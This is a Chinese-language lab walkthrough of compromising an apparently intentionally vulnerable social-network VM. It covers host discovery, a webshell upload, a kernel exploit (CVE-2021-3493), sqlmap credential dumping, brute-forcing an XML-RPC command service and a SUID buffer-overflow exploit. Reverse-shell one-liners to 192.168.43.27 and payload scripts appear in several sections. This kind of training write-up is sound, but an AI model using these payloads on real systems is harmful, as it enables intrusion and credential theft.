目录
2.4看下user_password和user_email中的字段
一、环境配置问题
这次在导入靶场的时候,由于各种问题,就卸载了一次,但再次安装时,显示无法导入,经过一番搜索,发现是虚拟硬盘没有删除干净,将原先创建的虚拟硬盘删除后,再次导入,即可导入成功
二、主机发现
靶机和kali位于同一网段,总结下四种方法。
1.arp-scan
sudo arp-scan -l
2.arping
由于这个arping是对单个ip进行发包的,所以简单写个循环
for i in $(seq 1 254);do sudo arping -c 2 192.168.43.$i;done
3.netdiscover
sudo netdiscover -r 192.168.43.27/16
4.nmap
sudo nmap -sn ip/子网掩码
三、端口扫描
四、服务版本发现
五、登录web服务
1.8000端口
8000端口页面报错,写的不支持get请求方法,我们可以用burpsuite抓包后,来尝试别的登陆方式,如option,post等,发现还是无用
2.80端口
(1)80端口是个登录地址
(2)注册并登录,进行信息收集
六、信息收集
1.界面
是一个留言板,我们输入的信息会输出到下面,上栏有一系列的功能框
2.profile
这里面可以上传头像,并且可以查看到路径地址,并且可以上传一个一句话木马,
七、antsword(蚁剑)
1.通过蚁剑来连接我们上传的后门文件
2.查看内核版本
uname -a
查看具体版本
lsb_release -a
八、提权
使用ubuntu内核漏洞版本来提权
cve-2021-3493 ,github上可下载
1.上传文件
2.编译执行
发现可以执行,但是被exit退出了,提示是不能工作在这个shell上,蚁剑shell功能不够导致了提权失败,所以我们向kali端反弹shell来执行exp
3.反弹shell
用一个nc串联来反弹shell ,后执行exp,发现提权成功
九、主页下的sql注入
1.在search框里还有一个sql注入点
2.抓包,sqlmap跑一下
(1)request的包保存到本地
(2)sqlmap
sqlmap -r r -p query
2.1跑下数据库
sqlmap -r r -p query --dbs
2.2 跑下表
sqlmap -r r -p query -D socialnetwork --tables
2.3看下列
sqlmap -r r -p query -D socialnetwoek -T users --columns
2.4看下user_password和user_email中的字段
sqlmap -r r -p query -D socialnetwork -T users -C user_email,user_password --dump
可以看到我们已经知道了邮箱号和对应的密码,并且这个SQLmap帮我们进行了hash解密。得到了 明文密码。
除了这种提权方式,我们还有另一种提权方式
一、信息收集
1.查看/etc/passwd
我们找到一个可以通过shell登录系统的用户
我们可以看到admin账号留言的那个程序,并且用
ps aux | grep "monitor"
可以看到此程序正在运行
2.查看monitor文件
简单分析python文件,上边导入库,之后random产生了一个随机数,下边定义了执行命令函数,几个写死的命令函数,和一个可控参数的命令函数(随机数与输入值相等执行命令)。server.register给这些函数注册可以调用,这些都是基于一个xmlrpc的库来实现的,所以我们去python库手册查看它的用法。
3.xmlrpc用法
可以在库手册中找到一个示例:,接下来我们结合xmlrpc用法 利用monitor的可控变量函数
二、利用monitor反弹shell
1.首先破解随机数
import xmlrpc.client
with xmlrpc.client.ServerProxy("http://192.168.43.65:8000/") as proxy:
for a in range(1000,10000):
result=str(proxy.secure_cmd("whoami",a))
if not "Wrong" in result:
print(a)
2.反弹shell
开启侦听端口,利用获得的随机数反弹shell
import xmlrpc.client
with xmlrpc.client.ServerProxy("http://192.168.43.65:8000/") as proxy:
a=6332
str(proxy.secure_cmd("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.43.27 4444 >/tmp/f",a))
3.美化shell
python -c "import pty;pty.spawn('/bin/bash')"
三、信息收集
1.家目录
2.ls -l
寻找程序漏洞进行命令执行,利用add_record程序的suid权限继承来提权,peda是GBD调试脚本,可能存在内存溢出的;漏洞
3.查看add_record功能
发现是一个输入个人信息的程序
四、gdb调试程序分析漏洞
1.发现缓冲区溢出
gdb -q ./add_record
最终发现在explains处存在缓冲区溢出
2.判断缓冲区溢出位置
(1)自动生成每四个都不同的100个连续字符
pattern create 100
(2)AHAA处溢出![](https://i-blog.csdnimg.cn/blog_migrate/a7b0ae9a7edf4976ef4329dae33954e9.png)
(3)判断位置
pattern create AHAA
EIP寄存器的偏移量是62
(4)确认位置
命令终端执行
python -c "print('A'*62+'bcde')"
结果:
五、信息收集
1.查看调用的函数
info func
其中system setuid backdoor这些内建函数值得我们注意,还有一个vuln自定义函数也应该引起我们的注意
2.查看vuln
从这里面发现vuln引用了strcpy,而strcpy具有缓冲区漏洞。从而知道进程monitor的缓冲区溢出漏洞的根这里。
3.查看backdoor
这里用到了setuid和system,在main程序中并没有直接执行这个backdoor的命令,但是我们可以利用缓冲区溢出来执行这个backdoor
六、执行backdoor
1.生成一个参数列表
这样可以一次性执行程序,前四个参数,和最后一个explains
python2 -c "import struct; print('1\n1\n1\n1\n'+'A'*62 + struct.pack('I',0x08048676))" > payload
2.调试执行
我们可以看到两个/bin/bash和/bin/dash的shell,因为backdoor使用了suid权限继承,直接利用这个backdoor就可以获得一个root shell。
3.执行
cat payload - | ./add_record
成功获得一个root的shell
4.反弹shell
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.43.27 5555 >/tmp/f